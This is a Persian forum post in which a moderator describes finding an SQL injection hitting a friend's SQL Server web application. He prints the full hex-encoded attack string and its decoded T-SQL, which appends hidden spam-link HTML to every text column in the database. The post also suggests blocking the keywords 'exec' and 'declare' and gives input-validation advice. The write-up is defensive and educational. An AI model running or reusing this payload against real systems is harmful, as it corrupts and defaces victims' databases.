امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
تجربه جلوگیری از SQL Injection
نویسنده پیام
hamed_Arfaee آفلاین
مدیر بخش
*****

ارسال‌ها: 1,334
موضوع‌ها: 231
تاریخ عضویت: تير ۱۳۸۳

تشکرها : 1250
( 2634 تشکر در 730 ارسال )
ارسال: #1
تجربه جلوگیری از SQL Injection
سلام

چند روز پیش با یکی از دوستام در مورد جلوگیری از تغییرات ناگهانی توی دیتابیسش (اس کیو ال سرور) حرف میزدم که خلاصش این هست :

تغییرات به اینشکل بودن که به بعضی از فیلد ها یک متن ثابت اضافه میشد و این اتفاق به صورت نامنظم تکرار میشد .

بنا به محدودیت های هاستینگ(نرم افزارش تحت وب بود) امکان ایجاد یوزر فقط خواندنی وجود نداشت .

مشکل نرم افزار اینجا بود که همه دستورات به صورت متن (HardString)به سرور ارسال میشد و از استورد پروسیجر هم استفاده نکرده بود .

با این همه که تمام دستورات قبل از اجرا از لحاظ وجود کلمات خاص بررسی میشد بازهم تغییرات اتفاق افتاده بودن .

یک کدی نوشتم که در لایه دیتابیس نرم افزار تمام دستورات قبل از ارسال به سرور ،لاگ بشن و چیزی که دیدم برام جالب بود .
کدی که قرار بود اجرا بشه این بود :
کد:
update tbl_news set tb_numofvisit="1" where tb_id_news=611

ولی ادامش یه چیز دیگه هم بود این :

کد:
update tbl_news set tb_numofvisit="1" where tb_id_news=611 declare @s varchar(8000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7374796c653e2e6163746e7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834373870782c6175746f2c6175746f2c3339357078293b7d3c2f7374796c653e3c64697620636c6173733d6163746e3e4974207365656d73207468617420686173203c6120687265663d687474703a2f2f7061796461796c6f616e73666f726c697665792e636f6d203e717569636b206c6f616e733c2f613e20706f73736962696c6974696573206f6620636f6e647563742e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)
که وقتی تبدیل میشه به متن میشه این :
کد:
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>80 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><style>.actn{position:absolute;clip:rect(478px,auto,auto,395px);}</style><div class=actn>It seems that has <a href=h*t*t*p*:*/*/*p*a*y*d*a*y*l*o*a*n*s*f*o*r*l*i*v*e*y*.*c*o*m* >quick loans</a> possibilities of conduct.</div>'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
نکته : * هارو خودم اضافه کردم
کل دستور رو بصورت کد هگز ارسال میکنه و با یه تبدیل ساده اجراش میکنه .
چون سیستم نسبتا بزرگ هست و امکان تغییر کلی نبود پیشنهاد من بهش تغییر لیست کلمات کلیدی نا امن بود - یعنی قبل از اجرای دستور(در لایه دیتابیس) وجود کلمه exec و declare هم بررسی بشه تا فعلا نفوذی انجام نشه تا سر فرصت تغییرات نرم افزار رو بتونه انجام بده .

پیشنهاد هایی که من داشتم :
بهتره تا حد امکان از اجرای مستقیم رشته متنی استفاده نکنیم .
از تکنولوژی های جدید استفاده کنیم مثل لینک LINQ
در مواقعی که کاربر قراره یه مقداری به برنامه ارسال کنه محدودیت های زیادی روش اعمال کنیم مثلا اگه قراره آی دی یه مطلب ارسال بشه باید اون متغییر به عدد تبدیل بشه یا وقتی قراره کد ملی ارسال بشه باید حداکثر 10 کاراکتر اول رو انتخاب کنیم نه کل محتوی رو .


دوستانی هم که در این زمینه تجربه یا تخصص دارن بحث رو تکمیل کنن.

حامد ارفعی

موفقيت، پيش رفتن است، نه به نقطه ي پايان رسيدن.(آنتوني رابينز)


تریگرها در SQL server

آیا میدانید SQL ای
۲۱-دى-۱۳۹۳, ۲۳:۱۴:۰۴
وب سایت ارسال‌ها
پاسخ
تشکر شده توسط : Ghoghnus, taksa2012, Di Di, lord_viper


پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 2 مهمان

صفحه‌ی تماس | IranVig | بازگشت به بالا | | بایگانی | پیوند سایتی RSS